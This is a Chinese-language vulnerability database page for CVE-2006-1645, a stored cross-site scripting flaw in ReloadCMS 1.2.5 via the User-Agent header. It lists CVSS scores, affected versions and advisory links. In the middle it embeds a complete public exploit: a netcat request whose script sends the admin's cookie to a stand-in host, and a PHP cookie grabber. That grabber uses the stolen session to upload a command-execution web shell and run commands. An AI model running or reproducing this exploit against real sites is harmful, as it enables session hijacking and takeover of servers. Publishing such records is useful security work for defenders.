CVE-2006-1645
CVSS6.8
发布时间 :2006-04-06 06:04:00
修订时间 :2011-03-07 21:33:29
NMCOE    

[原文]Cross-site scripting (XSS) vulnerability in Anton Vlasov and Rostislav Gaitkuloff ReloadCMS 1.2.5 and earlier allows remote attackers to inject arbitrary web script or HTML and gain leverage to execute arbitrary PHP code via the User-Agent HTTP header, which is displayed by admin/modules/general/statistic.php in the administration panel.


[CNNVD]ReloadCMS User-Agent 跨站脚本攻击漏洞(CNNVD-200604-079)

        Anton Vlasov and Rostislav Gaitkuloff ReloadCMS 1.2.5以及早期版本中存在跨站脚本攻击漏洞,可让远程攻击者注入web脚本或HTML并且获得能力以执行任意的地PHP代码,方式是通过User-Agent HTTP头,这个头在管理面板中的admin/modules/general/statistic.php文件中。

- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:reloadcms:reloadcms:1.2.4
cpe:/a:reloadcms:reloadcms:1.2.0_p1
cpe:/a:reloadcms:reloadcms:1.2.0
cpe:/a:reloadcms:reloadcms:1.2.1
cpe:/a:reloadcms:reloadcms:1.2.3
cpe:/a:reloadcms:reloadcms:1.2.2
cpe:/a:reloadcms:reloadcms:1.2.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1645
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1645
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-079
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1193
(UNKNOWN)  VUPEN  ADV-2006-1193
http://www.securityfocus.com/bid/17353
(UNKNOWN)  BID  17353
http://www.securityfocus.com/archive/1/archive/1/429666/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060402 ReloadCMS <= 1.2.5stable Cross site scripting / remote command execution
http://secunia.com/advisories/19470
(VENDOR_ADVISORY)  SECUNIA  19470
http://xforce.iss.net/xforce/xfdb/25604
(UNKNOWN)  XF  reloadcms-useragent-xss(25604)
http://www.osvdb.org/24327
(UNKNOWN)  OSVDB  24327

- 漏洞信息

ReloadCMS User-Agent 跨站脚本攻击漏洞
中危 跨站脚本
2006-04-06 00:00:00 2006-04-07 00:00:00
远程  
        Anton Vlasov and Rostislav Gaitkuloff ReloadCMS 1.2.5以及早期版本中存在跨站脚本攻击漏洞,可让远程攻击者注入web脚本或HTML并且获得能力以执行任意的地PHP代码,方式是通过User-Agent HTTP头,这个头在管理面板中的admin/modules/general/statistic.php文件中。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.reloadcms.com/
        

- 漏洞信息 (1631)

ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Code Execution Exploit (EDBID:1631)
php webapps
2006-04-02 Verified
0 rgod
N/A [点击下载]
<?php
/*
ReloadCMS <= 1.2.5stable Cross site scripting / remote command execution

software site: http://reloadcms.com/
description: "ReloadCMS is a free CMS written on PHP and based on flat files."

vulnerability:
ReloadCMS do not properly sanitize User-Agent request header before to store it
in stats.dat file.
Example of an attack, through netcat:

rgod>nc target.host.com 80
GET /path_to_reloadcms/ HTTP/1.0
User-Agent: "><script>window.open("http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL);window.close();</script>
Host: target.host.com
Connection: Close

So, when admin see site statistics through the administration panel, javascript
will run

Once grab.php script captures admin cookie, the script itself can upload a shell
trough filemanager, launch commands and write output to a logfile also, inside
cookies, there is admin MD5 password hash

rgod
mail: rgod@autistici.org
site: http://retrogod.altervista.org
							                      */

#--------------------------------grab.php---------------------------------------
#cookie grabber / backdoor install

$cmd="uname -a"; //a shell command, leave empty to lauch commands later trough suntzu.php
$proxy=""; //you can use a proxy (ip:port), otherwise leave empty
$logfile="log.txt";
$filename="suntzu.php"; //shell filename

error_reporting(0);
ignore_user_abort(1);
ini_set("max_execution_time",0);

//log referer and cookies
$fp=fopen($logfile,"a");
fputs($fp,$_GET['ref']."|".$_GET['c']."\r\n");

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      die;
    }
    $parts=explode(':',$proxy);
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$temp=explode("/",$_GET['ref']);
$host=$temp[2];
$path="";
if (count($temp)>4)
{
for ($i=3; $i<=count($temp)-2; $i++)
{$path.="/".$temp[$i];}
}
$path.="/";
$port=80;

#step 1 -> Get full application path, it is inside html, you need this to upload a shell
$packet ="GET ".$path."admin.php?show=module&id=general.filemanager HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$_GET[c].";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

#step 2 -> Upload the evil code
$temp=explode('name="path" value="',$html);
$temp2=explode("\"",$temp[1]);
$fullpath=$temp2[0];
$shell='<?php error_reporting(0);ini_set("max_execution_time",0);if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}passthru($_GET[cmd]);?>';
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"upload\"; filename=\"$filename\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"path\"\r\n\r\n";
$data.="$fullpath\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"test\"\r\n\r\n";
$data.="Upload\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$path."admin.php?show=module&id=general.filemanager HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$_GET[c].";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet ="GET ".$path."suntzu.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

//log output
fputs($fp,"suntzu>".$cmd."\r\n");
fputs($fp,"\r\n".$html."\r\n");
fclose($fp);
header ("Location: ".$_GET['ref']);
?>

# milw0rm.com [2006-04-02]
		

- 漏洞信息

24327
ReloadCMS Statistics User-Agent XSS
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

ReloadCMS contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'User-Agent' HTTP header before being displayed by the Statistics module. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

- 时间线

2006-04-02 Unknow
2006-04-02 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站